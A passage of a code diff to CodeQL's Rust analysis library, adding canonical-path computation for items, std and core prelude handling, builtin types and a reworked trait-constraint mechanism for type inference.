super.getAssocItemList().getAnAssocItem() } - - override string getName() { result = "(impl)" } + pragma[nomagic] + private string getTraitCanonicalPath(Crate c) { + result = this.resolveTraitTy().getCanonicalPath(c) + } - override Namespace getNamespace() { - result.isType() // can be referenced with `Self` + pragma[nomagic] + private string getCanonicalPathTraitPart(Crate c) { + exists(Crate c2 | + this.selfTraitCratePair(c, c2) and + result = this.getTraitCanonicalPath(c2) + ) } - override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = "<" + or + i = 1 and + result = this.resolveSelfTy().getCanonicalPath(c) + or + if exists(this.getTraitPath()) + then + i = 2 and + result = " as " + or + i = 3 and + result = this.getCanonicalPathTraitPart(c) + or + i = 4 and + result = ">" + else ( + i = 2 and + result = ">" + ) + } - override Visibility getVisibility() { result = Impl.super.getVisibility() } + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + exists(int m | if exists(this.getTraitPath()) then m = 4 else m = 2 | + result = strictconcat(int i | i in [0 .. m] | this.getCanonicalPathPart(c, i) order by i) + ) + } } private class MacroCallItemNode extends AssocItemNode instanceof MacroCall { @@ -522,6 +628,20 @@ private class MacroCallItemNode extends AssocItemNode instanceof MacroCall { override TypeParam getTypeParam(int i) { none() } override Visibility getVisibility() { none() } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + any(ItemNode parent).providesCanonicalPathPrefixFor(c, this) and + child.getImmediateParent() = this + } + + override string getCanonicalPathPrefixFor(Crate c, ItemNode child) { + result = this.getCanonicalPathPrefix(c) and + this.providesCanonicalPathPrefixFor(c, child) + } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } private class ModuleItemNode extends ModuleLikeNode instanceof Module { @@ -532,6 +652,43 @@ private class ModuleItemNode extends ModuleLikeNode instanceof Module { override Visibility getVisibility() { result = Module.super.getVisibility() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.hasCanonicalPath(c) and + ( + exists(SourceFile f | + fileImport(this, f) and + sourceFileEdge(f, _, child) + ) + or + this = child.getImmediateParent() + or + exists(ItemNode mid | + this.providesCanonicalPathPrefixFor(c, mid) and + mid.(MacroCallItemNode) = child.getImmediateParent() + ) + ) + } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class StructItemNode extends ItemNode instanceof Struct { @@ -547,6 +704,26 @@ private class StructItemNode extends ItemNode instanceof Struct { override Visibility getVisibility() { result = Struct.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } class TraitItemNode extends ImplOrTraitItemNode instanceof Trait { @@ -567,6 +744,43 @@ class TraitItemNode extends ImplOrTraitItemNode instanceof Trait { override Visibility getVisibility() { result = Trait.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.hasCanonicalPath(c) and + child = this.getAnAssocItem() + } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = "<_ as " + or + i = 1 and + result = this.getCanonicalPathPrefix(c) + or + i = 2 and + result = "::" + or + i = 3 and + result = this.getName() + or + i = 4 and + result = ">" + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [1 .. 3] | this.getCanonicalPathPart(c, i) order by i) + } + + language[monotonicAggregates] + override string getCanonicalPathPrefixFor(Crate c, ItemNode child) { + this.providesCanonicalPathPrefixFor(c, child) and + result = strictconcat(int i | i in [0 .. 4] | this.getCanonicalPathPart(c, i) order by i) + } } class TypeAliasItemNode extends AssocItemNode instanceof TypeAlias { @@ -589,6 +803,26 @@ private class UnionItemNode extends ItemNode instanceof Union { override Visibility getVisibility() { result = Union.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { this.hasCanonicalPathPrefix(c) } + + bindingset[c] + private string getCanonicalPathPart(Crate c, int i) { + i = 0 and + result = this.getCanonicalPathPrefix(c) + or + i = 1 and + result = "::" + or + i = 2 and + result = this.getName() + } + + language[monotonicAggregates] + override string getCanonicalPath(Crate c) { + this.hasCanonicalPath(c) and + result = strictconcat(int i | i in [0 .. 2] | this.getCanonicalPathPart(c, i) order by i) + } } private class UseItemNode extends ItemNode instanceof Use { @@ -599,6 +833,10 @@ private class UseItemNode extends ItemNode instanceof Use { override Visibility getVisibility() { result = Use.super.getVisibility() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } private class BlockExprItemNode extends ItemNode instanceof BlockExpr { @@ -609,6 +847,10 @@ private class BlockExprItemNode extends ItemNode instanceof BlockExpr { override Visibility getVisibility() { none() } override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } class TypeParamItemNode extends ItemNode instanceof TypeParam { @@ -674,6 +916,10 @@ class TypeParamItemNode extends ItemNode instanceof TypeParam { override TypeParam getTypeParam(int i) { none() } override Location getLocation() { result = TypeParam.super.getName().getLocation() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } /** Holds if `item` has the name `name` and is a top-level item inside `f`. */ @@ -723,7 +969,7 @@ private predicate modImport0(Module m, string name, Folder lookup) { // sibling import lookup = parent and ( - m.getFile() = any(CrateItemNode c).getModuleNode().(SourceFileItemNode).getFile() + m.getFile() = any(CrateItemNode c).getSourceFile().getFile() or m.getFile().getBaseName() = "mod.rs" ) @@ -775,7 +1021,8 @@ private predicate pathAttrImport(Folder f, Module m, string relativePath) { private predicate shouldAppend(Folder f, string relativePath) { pathAttrImport(f, _, relativePath) } /** Holds if `m` is a `mod name;` item importing file `f`. */ -private predicate fileImport(Module m, SourceFile f) { +pragma[nomagic] +predicate fileImport(Module m, SourceFile f) { exists(string name, Folder parent | modImport0(m, name, _) and fileModule(f, name, parent) @@ -811,7 +1058,7 @@ private predicate fileImportEdge(Module mod, string name, ItemNode item) { */ pragma[nomagic] private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { - i = c.getModuleNode().getASuccessorRec(name) and + i = c.getSourceFile().getASuccessorRec(name) and not i instanceof Crate } @@ -819,17 +1066,10 @@ private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { * Holds if `m` depends on crate `dep` named `name`. */ private predicate crateDependencyEdge(ModuleLikeNode m, string name, CrateItemNode dep) { - exists(CrateItemNode c | dep = c.(Crate).getDependency(name) | - // entry module/entry source file - m = c.getModuleNode() - or - // entry/transitive source file + exists(CrateItemNode c | + dep = c.(Crate).getDependency(name) and m = c.getASourceFile() ) - or - // paths inside the crate graph use the name of the crate itself as prefix, - // although that is not valid in Rust - dep = any(Crate c | name = c.getName() and m = c.getModule()) } private predicate useTreeDeclares(UseTree tree, string name) { @@ -897,9 +1137,9 @@ class RelevantPath extends Path { private predicate isModule(ItemNode m) { m instanceof Module } -/** Holds if root module `root` contains the module `m`. */ -private predicate rootHasModule(ItemNode root, ItemNode m) = - doublyBoundedFastTC(hasChild/2, isRoot/1, isModule/1)(root, m) +/** Holds if source file `source` contains the module `m`. */ +private predicate rootHasModule(SourceFileItemNode source, ItemNode m) = + doublyBoundedFastTC(hasChild/2, isSourceFile/1, isModule/1)(source, m) pragma[nomagic] private ItemNode getOuterScope(ItemNode i) { @@ -952,14 +1192,14 @@ private ItemNode getASuccessorFull(ItemNode pred, string name, Namespace ns) { ns = result.getNamespace() } -private predicate isRoot(ItemNode root) { root.(ModuleLikeNode).isRoot() } +private predicate isSourceFile(ItemNode source) { source instanceof SourceFileItemNode } private predicate hasCratePath(ItemNode i) { any(RelevantPath path).isCratePath(_, i) } private predicate hasChild(ItemNode parent, ItemNode child) { child.getImmediateParent() = parent } -private predicate rootHasCratePathTc(ItemNode i1, ItemNode i2) = - doublyBoundedFastTC(hasChild/2, isRoot/1, hasCratePath/1)(i1, i2) +private predicate sourceFileHasCratePathTc(ItemNode i1, ItemNode i2) = + doublyBoundedFastTC(hasChild/2, isSourceFile/1, hasCratePath/1)(i1, i2) /** * Holds if the unqualified path `p` references a keyword item named `name`, and @@ -969,10 +1209,10 @@ pragma[nomagic] private predicate keywordLookup(ItemNode encl, string name, Namespace ns, RelevantPath p) { // For `($)crate`, jump directly to the root module exists(ItemNode i | p.isCratePath(name, i) | - encl.(ModuleLikeNode).isRoot() and + encl instanceof SourceFile and encl = i or - rootHasCratePathTc(encl, i) + sourceFileHasCratePathTc(encl, i) ) or name = ["super", "self"] and @@ -1165,18 +1405,20 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { } /** - * Holds if `i` is available inside `f` because it is reexported in [the prelude][1]. + * Holds if `i` is available inside `f` because it is reexported in + * [the `core` prelude][1] or [the `std` prelude][2]. * * We don't yet have access to prelude information from the extractor, so for now * we include all the preludes for Rust: 2015, 2018, 2021, and 2024. * * [1]: https://doc.rust-lang.org/core/prelude/index.html + * [2]: https://doc.rust-lang.org/std/prelude/index.html */ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { - exists(Crate core, ModuleItemNode mod, ModuleItemNode prelude, ModuleItemNode rust | - f = any(Crate c0 | core = c0.getDependency(_)).getASourceFile() and - core.getName() = "core" and - mod = core.getModule() and + exists(Crate stdOrCore, ModuleLikeNode mod, ModuleItemNode prelude, ModuleItemNode rust | + f = any(Crate c0 | stdOrCore = c0.getDependency(_) or stdOrCore = c0).getASourceFile() and + stdOrCore.getName() = ["std", "core"] and + mod = stdOrCore.getSourceFile() and prelude = mod.getASuccessorRec("prelude") and rust = prelude.getASuccessorRec(["rust_2015", "rust_2018", "rust_2021", "rust_2024"]) and i = rust.getASuccessorRec(name) and @@ -1184,13 +1426,23 @@ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { ) } +private import codeql.rust.frameworks.stdlib.Bultins as Builtins + +pragma[nomagic] +private predicate builtin(string name, ItemNode i) { + exists(SourceFileItemNode builtins | + builtins.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder and + i = builtins.getASuccessorRec(name) + ) +} + /** Provides predicates for debugging the path resolution implementation. */ private module Debug { private Locatable getRelevantLocatable() { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and - filepath.matches("%/test_logging.rs") and - startline = 163 + filepath.matches("%/test.rs") and + startline = 74 ) } @@ -1198,7 +1450,7 @@ private module Debug { RelevantPath p, string name, Namespace ns, ItemNode encl, string path ) { p = getRelevantLocatable() and - unqualifiedPathLookup(p, name, ns, encl) and + unqualifiedPathLookup(encl, name, ns, p) and path = p.toStringDebug() } @@ -1226,4 +1478,14 @@ private module Debug { m = getRelevantLocatable() and fileImport(m, f) } + + predicate debugPreludeEdge(SourceFile f, string name, ItemNode i) { + preludeEdge(f, name, i) and + f = getRelevantLocatable() + } + + string debugGetCanonicalPath(ItemNode i, Crate c) { + result = i.getCanonicalPath(c) and + i = getRelevantLocatable() + } } diff --git a/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll index a8f581aabdf9..2175dea37133 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolutionConsistency.qll @@ -38,6 +38,12 @@ query predicate multipleTupleFields(FieldExpr fe, TupleField field) { strictcount(fe.getTupleField()) > 1 } +/** Holds if `p` may resolve to multiple items including `i`. */ +query predicate multipleCanonicalPaths(ItemNode i, Crate c, string path) { + path = i.getCanonicalPath(c) and + strictcount(i.getCanonicalPath(c)) > 1 +} + /** * Gets counts of path resolution inconsistencies of each type. */ @@ -53,4 +59,7 @@ int getPathResolutionInconsistencyCounts(string type) { or type = "Multiple tuple fields" and result = count(FieldExpr fe | multipleTupleFields(fe, _) | fe) + or + type = "Multiple canonical paths" and + result = count(ItemNode i | multipleCanonicalPaths(i, _, _) | i) } diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index 9e063d215161..db7938b3cf1b 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -9,10 +9,10 @@ private import codeql.rust.elements.internal.generated.Synth cached newtype TType = + TUnit() or TStruct(Struct s) { Stages::TypeInferenceStage::ref() } or TEnum(Enum e) or TTrait(Trait t) or - TImpl(Impl i) or TArrayType() or // todo: add size? TRefType() or // todo: add mut? TTypeParamTypeParameter(TypeParam t) or @@ -27,10 +27,6 @@ newtype TType = * types, such as traits and implementation blocks. */ abstract class Type extends TType { - /** Gets the method `name` belonging to this type, if any. */ - pragma[nomagic] - abstract Function getMethod(string name); - /** Gets the struct field `name` belonging to this type, if any. */ pragma[nomagic] abstract StructField getStructField(string name); @@ -45,25 +41,6 @@ abstract class Type extends TType { /** Gets a type parameter of this type. */ final TypeParameter getATypeParameter() { result = this.getTypeParameter(_) } - /** - * Gets an AST node that mentions a base type of this type, if any. - * - * Although Rust doesn't have traditional OOP-style inheritance, we model trait - * bounds and `impl` blocks as base types. Example: - * - * ```rust - * trait T1 {} - * - * trait T2 {} - * - * trait T3 : T1, T2 {} - * // ^^ `this` - * // ^^ `result` - * // ^^ `result` - * ``` - */ - abstract TypeMention getABaseTypeMention(); - /** Gets a textual representation of this type. */ abstract string toString(); @@ -71,23 +48,23 @@ abstract class Type extends TType { abstract Location getLocation(); } -abstract private class StructOrEnumType extends Type { - abstract ItemNode asItemNode(); +/** The unit type `()`. */ +class UnitType extends Type, TUnit { + UnitType() { this = TUnit() } - final override Function getMethod(string name) { - result = this.asItemNode().getASuccessor(name) and - exists(ImplOrTraitItemNode impl | result = impl.getAnAssocItem() | - impl instanceof Trait - or - impl.(ImplItemNode).isFullyParametric() - ) - } + override StructField getStructField(string name) { none() } - /** Gets all of the fully parametric `impl` blocks that target this type. */ - final override ImplMention getABaseTypeMention() { - this.asItemNode() = result.resolveSelfTy() and - result.isFullyParametric() - } + override TupleField getTupleField(int i) { none() } + + override TypeParameter getTypeParameter(int i) { none() } + + override string toString() { result = "()" } + + override Location getLocation() { result instanceof EmptyLocation } +} + +abstract private class StructOrEnumType extends Type { + abstract ItemNode asItemNode(); } /** A struct type. */ @@ -138,8 +115,6 @@ class TraitType extends Type, TTrait { TraitType() { this = TTrait(trait) } - override Function getMethod(string name) { result = trait.(ItemNode).getASuccessor(name) } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -151,93 +126,11 @@ class TraitType extends Type, TTrait { any(AssociatedTypeTypeParameter param | param.getTrait() = trait and param.getIndex() = i) } - pragma[nomagic] - private TypeReprMention getABoundMention() { - result = trait.getTypeBoundList().getABound().getTypeRepr() - } - - /** Gets any of the trait bounds of this trait. */ - override TypeMention getABaseTypeMention() { result = this.getABoundMention() } - override string toString() { result = trait.toString() } override Location getLocation() { result = trait.getLocation() } } -/** - * An `impl` block type. - * - * Although `impl` blocks are not really types, we treat them as such in order - * to be able to match type parameters from structs (or enums) with type - * parameters from `impl` blocks. For example, in - * - * ```rust - * struct S(T1); - * - * impl S { - * fn id(self) -> S { self } - * } - * - * let x : S(i64) = S(42); - * x.id(); - * ``` - * - * we pretend that the `impl` block is a base type mention of the struct `S`, - * with type argument `T1`. This means that from knowing that `x` has type - * `S(i64)`, we can first match `i64` with `T1`, and then by matching `T1` with - * `T2`, we can match `i64` with `T2`. - * - * `impl` blocks can also have base type mentions, namely the trait that they - * implement (if any). Example: - * - * ```rust - * struct S(T1); - * - * trait Trait { - * fn f(self) -> T2; - * - * fn g(self) -> T2 { self.f() } - * } - * - * impl Trait for S { // `Trait` is a base type mention of this `impl` block - * fn f(self) -> T3 { - * match self { - * S(x) => x - * } - * } - * } - * - * let x : S(i64) = S(42); - * x.g(); - * ``` - * - * In this case we can match `i64` with `T1`, `T1` with `T3`, and `T3` with `T2`, - * allowing us match `i64` with `T2`, and hence infer that the return type of `g` - * is `i64`. - */ -class ImplType extends Type, TImpl { - private Impl impl; - - ImplType() { this = TImpl(impl) } - - override Function getMethod(string name) { result = impl.(ItemNode).getASuccessor(name) } - - override StructField getStructField(string name) { none() } - - override TupleField getTupleField(int i) { none() } - - override TypeParameter getTypeParameter(int i) { - result = TTypeParamTypeParameter(impl.getGenericParamList().getTypeParam(i)) - } - - /** Get the trait implemented by this `impl` block, if any. */ - override TypeMention getABaseTypeMention() { result = impl.getTrait() } - - override string toString() { result = impl.toString() } - - override Location getLocation() { result = impl.getLocation() } -} - /** * An array type. * @@ -247,8 +140,6 @@ class ImplType extends Type, TImpl { class ArrayType extends Type, TArrayType { ArrayType() { this = TArrayType() } - override Function getMethod(string name) { none() } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -257,8 +148,6 @@ class ArrayType extends Type, TArrayType { none() // todo } - override TypeMention getABaseTypeMention() { none() } - override string toString() { result = "[]" } override Location getLocation() { result instanceof EmptyLocation } @@ -273,8 +162,6 @@ class ArrayType extends Type, TArrayType { class RefType extends Type, TRefType { RefType() { this = TRefType() } - override Function getMethod(string name) { none() } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -284,8 +171,6 @@ class RefType extends Type, TRefType { i = 0 } - override TypeMention getABaseTypeMention() { none() } - override string toString() { result = "&" } override Location getLocation() { result instanceof EmptyLocation } @@ -293,8 +178,6 @@ class RefType extends Type, TRefType { /** A type parameter. */ abstract class TypeParameter extends Type { - override TypeMention getABaseTypeMention() { none() } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -318,19 +201,9 @@ class TypeParamTypeParameter extends TypeParameter, TTypeParamTypeParameter { TypeParam getTypeParam() { result = typeParam } - override Function getMethod(string name) { - // NOTE: If the type parameter has trait bounds, then this finds methods - // on the bounding traits. - result = typeParam.(ItemNode).getASuccessor(name) - } - override string toString() { result = typeParam.toString() } override Location getLocation() { result = typeParam.getLocation() } - - final override TypeMention getABaseTypeMention() { - result = typeParam.getTypeBoundList().getABound().getTypeRepr() - } } /** @@ -377,19 +250,13 @@ class AssociatedTypeTypeParameter extends TypeParameter, TAssociatedTypeTypePara int getIndex() { traitAliasIndex(_, result, typeAlias) } - override Function getMethod(string name) { none() } - override string toString() { result = typeAlias.getName().getText() } override Location getLocation() { result = typeAlias.getLocation() } - - override TypeMention getABaseTypeMention() { none() } } /** An implicit reference type parameter. */ class RefTypeParameter extends TypeParameter, TRefTypeParameter { - override Function getMethod(string name) { none() } - override string toString() { result = "&T" } override Location getLocation() { result instanceof EmptyLocation } @@ -409,15 +276,43 @@ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { Trait getTrait() { result = trait } - override TypeMention getABaseTypeMention() { result = trait } + override string toString() { result = "Self [" + trait.toString() + "]" } + + override Location getLocation() { result = trait.getLocation() } +} + +/** + * A type abstraction. I.e., a place in the program where type variables are + * introduced. + * + * Example: + * ```rust + * impl Foo { } + * // ^^^^^^ a type abstraction + * ``` + */ +abstract class TypeAbstraction extends AstNode { + abstract TypeParameter getATypeParameter(); +} + +final class ImplTypeAbstraction extends TypeAbstraction, Impl { + override TypeParamTypeParameter getATypeParameter() { + result.getTypeParam() = this.getGenericParamList().getATypeParam() + } +} - override Function getMethod(string name) { - // The `Self` type parameter is an implementation of the trait, so it has - // all the trait's methods. - result = trait.(ItemNode).getASuccessor(name) +final class TraitTypeAbstraction extends TypeAbstraction, Trait { + override TypeParamTypeParameter getATypeParameter() { + result.getTypeParam() = this.getGenericParamList().getATypeParam() } +} - override string toString() { result = "Self [" + trait.toString() + "]" } +final class TypeBoundTypeAbstraction extends TypeAbstraction, TypeBound { + override TypeParamTypeParameter getATypeParameter() { none() } +} - override Location getLocation() { result = trait.getLocation() } +final class SelfTypeBoundTypeAbstraction extends TypeAbstraction, Name { + SelfTypeBoundTypeAbstraction() { any(Trait trait).getName() = this } + + override TypeParamTypeParameter getATypeParameter() { none() } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index cb9450a84d77..8399bde8aa80 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -7,6 +7,7 @@ private import Type as T private import TypeMention private import codeql.typeinference.internal.TypeInference private import codeql.rust.frameworks.stdlib.Stdlib +private import codeql.rust.frameworks.stdlib.Bultins as Builtins class Type = T::Type; @@ -19,6 +20,8 @@ private module Input1 implements InputSig1 { class TypeParameter = T::TypeParameter; + class TypeAbstraction = T::TypeAbstraction; + private newtype TTypeArgumentPosition = // method type parameters are matched by position instead of by type // parameter entity, to avoid extra recursion through method call resolution @@ -108,7 +111,52 @@ private module Input2 implements InputSig2 { class TypeMention = TM::TypeMention; - TypeMention getABaseTypeMention(Type t) { result = t.getABaseTypeMention() } + TypeMention getABaseTypeMention(Type t) { none() } + + TypeMention getATypeParameterConstraint(TypeParameter tp) { + result = tp.(TypeParamTypeParameter).getTypeParam().getTypeBoundList().getABound().getTypeRepr() + or + result = tp.(SelfTypeParameter).getTrait() + } + + /** + * Use the constraint mechanism in the shared type inference library to + * support traits. In Rust `constraint` is always a trait. + * + * See the documentation of `conditionSatisfiesConstraint` in the shared type + * inference module for more information. + */ + predicate conditionSatisfiesConstraint( + TypeAbstraction abs, TypeMention condition, TypeMention constraint + ) { + // `impl` blocks implementing traits + exists(Impl impl | + abs = impl and + condition = impl.getSelfTy() and + constraint = impl.getTrait() + ) + or + // supertraits + exists(Trait trait | + abs = trait and + condition = trait and + constraint = trait.getTypeBoundList().getABound().getTypeRepr() + ) + or + // trait bounds on type parameters + exists(TypeParam param | + abs = param.getTypeBoundList().getABound() and + condition = param and + constraint = abs.(TypeBound).getTypeRepr() + ) + or + // the implicit `Self` type parameter satisfies the trait + exists(SelfTypeParameterMention self | + abs = self and + condition = self and + constraint = self.getTrait() + ) + } } private module M2 = Make2; @@ -143,61 +191,74 @@ private Type inferAnnotatedType(AstNode n, TypePath path) { result = getTypeAnnotation(n).resolveTypeAt(path) } +private Type inferLogicalOperationType(AstNode n, TypePath path) { + exists(Builtins::BuiltinType t, BinaryLogicalOperation be | + n = [be, be.getLhs(), be.getRhs()] and + path.isEmpty() and + result = TStruct(t) and + t instanceof Builtins::Bool + ) +} + +private Type inferAssignmentOperationType(AstNode n, TypePath path) { + n instanceof AssignmentOperation and + path.isEmpty() and + result = TUnit() +} + /** - * Holds if the type of `n1` at `path1` is the same as the type of `n2` at - * `path2` and type information should propagate in both directions through the - * type equality. + * Holds if the type tree of `n1` at `prefix1` should be equal to the type tree + * of `n2` at `prefix2` and type information should propagate in both directions + * through the type equality. */ -bindingset[path1] -bindingset[path2] -private predicate typeEquality(AstNode n1, TypePath path1, AstNode n2, TypePath path2) { - exists(Variable v | - path1 = path2 and - n1 = v.getAnAccess() - | - n2 = v.getPat() +private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePath prefix2) { + prefix1.isEmpty() and + prefix2.isEmpty() and + ( + exists(Variable v | n1 = v.getAnAccess() | + n2 = v.getPat() + or + n2 = v.getParameter().(SelfParam) + ) or - n2 = v.getParameter().(SelfParam) - ) - or - exists(LetStmt let | - let.getPat() = n1 and - let.getInitializer() = n2 and - path1 = path2 - ) - or - n2 = - any(PrefixExpr pe | - pe.getOperatorName() = "*" and - pe.getExpr() = n1 and - path1 = TypePath::cons(TRefTypeParameter(), path2) + exists(LetStmt let | + let.getPat() = n1 and + let.getInitializer() = n2 + ) + or + n1 = n2.(ParenExpr).getExpr() + or + n1 = n2.(BlockExpr).getStmtList().getTailExpr() + or + n1 = n2.(IfExpr).getABranch() + or + n1 = n2.(MatchExpr).getAnArm().getExpr() + or + exists(BreakExpr break | + break.getExpr() = n1 and + break.getTarget() = n2.(LoopExpr) + ) + or + exists(AssignmentExpr be | + n1 = be.getLhs() and + n2 = be.getRhs() ) - or - n1 = n2.(ParenExpr).getExpr() and - path1 = path2 - or - n1 = n2.(BlockExpr).getStmtList().getTailExpr() and - path1 = path2 - or - n1 = n2.(IfExpr).getABranch() and - path1 = path2 - or - n1 = n2.(MatchExpr).getAnArm().getExpr() and - path1 = path2 - or - exists(BreakExpr break | - break.getExpr() = n1 and - break.getTarget() = n2.(LoopExpr) and - path1 = path2 ) + or + n1 = n2.(DerefExpr).getExpr() and + prefix1 = TypePath::singleton(TRefTypeParameter()) and + prefix2.isEmpty() } pragma[nomagic] private Type inferTypeEquality(AstNode n, TypePath path) { - exists(AstNode n2, TypePath path2 | result = inferType(n2, path2) | - typeEquality(n, path, n2, path2) + exists(TypePath prefix1, AstNode n2, TypePath prefix2, TypePath suffix | + result = inferType(n2, prefix2.appendInverse(suffix)) and + path = prefix1.append(suffix) + | + typeEquality(n, prefix1, n2, prefix2) or - typeEquality(n2, path2, n, path) + typeEquality(n2, prefix2, n, prefix1) ) } @@ -227,8 +288,8 @@ private Type getRefAdjustImplicitSelfType(SelfParam self, TypePath suffix, Type } pragma[nomagic] -private Type inferImplSelfType(Impl i, TypePath path) { - result = i.getSelfTy().(TypeReprMention).resolveTypeAt(path) +private Type resolveImplSelfType(Impl i, TypePath path) { + result = i.getSelfTy().(TypeMention).resolveTypeAt(path) } /** Gets the type at `path` of the implicitly typed `self` parameter. */ @@ -239,7 +300,7 @@ private Type inferImplicitSelfType(SelfParam self, TypePath path) { self = f.getParamList().getSelfParam() and result = getRefAdjustImplicitSelfType(self, suffix, t, path) | - t = inferImplSelfType(i, suffix) + t = resolveImplSelfType(i, suffix) or t = TSelfTypeParameter(i) and suffix.isEmpty() ) @@ -291,7 +352,7 @@ private module StructExprMatchingInput implements MatchingInputSig { Type getDeclaredType(DeclarationPosition dpos, TypePath path) { // type of a field - exists(TypeReprMention tp | + exists(TypeMention tp | tp = this.getField(dpos.asFieldPos()).getTypeRepr() and result = tp.resolveTypeAt(path) ) @@ -451,7 +512,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { override Type getParameterType(DeclarationPosition dpos, TypePath path) { exists(int pos | - result = this.getTupleField(pos).getTypeRepr().(TypeReprMention).resolveTypeAt(path) and + result = this.getTupleField(pos).getTypeRepr().(TypeMention).resolveTypeAt(path) and dpos = TPositionalDeclarationPosition(pos, false) ) } @@ -474,7 +535,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { override Type getParameterType(DeclarationPosition dpos, TypePath path) { exists(int p | - result = this.getTupleField(p).getTypeRepr().(TypeReprMention).resolveTypeAt(path) and + result = this.getTupleField(p).getTypeRepr().(TypeMention).resolveTypeAt(path) and dpos = TPositionalDeclarationPosition(p, false) ) } @@ -522,7 +583,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { } override Type getReturnType(TypePath path) { - result = this.getRetType().getTypeRepr().(TypeReprMention).resolveTypeAt(path) + result = this.getRetType().getTypeRepr().(TypeMention).resolveTypeAt(path) } } @@ -559,12 +620,22 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { private import codeql.rust.elements.internal.CallExprImpl::Impl as CallExprImpl - class Access extends CallExprBase { - private TypeReprMention getMethodTypeArg(int i) { + abstract class Access extends Expr { + abstract Type getTypeArgument(TypeArgumentPosition apos, TypePath path); + + abstract AstNode getNodeAt(AccessPosition apos); + + abstract Type getInferredType(AccessPosition apos, TypePath path); + + abstract Declaration getTarget(); + } + + private class CallExprBaseAccess extends Access instanceof CallExprBase { + private TypeMention getMethodTypeArg(int i) { result = this.(MethodCallExpr).getGenericArgList().getTypeArg(i) } - Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { + override Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { exists(TypeMention arg | result = arg.resolveTypeAt(path) | arg = getExplicitTypeArgMention(CallExprImpl::getFunctionPath(this), apos.asTypeParam()) or @@ -572,7 +643,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { ) } - AstNode getNodeAt(AccessPosition apos) { + override AstNode getNodeAt(AccessPosition apos) { exists(int p, boolean isMethodCall | argPos(this, result, p, isMethodCall) and apos = TPositionalAccessPosition(p, isMethodCall) @@ -585,14 +656,39 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { apos = TReturnAccessPosition() } - Type getInferredType(AccessPosition apos, TypePath path) { + override Type getInferredType(AccessPosition apos, TypePath path) { result = inferType(this.getNodeAt(apos), path) } - Declaration getTarget() { + override Declaration getTarget() { result = CallExprImpl::getResolvedFunction(this) or - result = resolveMethodCallExpr(this) // mutual recursion; resolving method 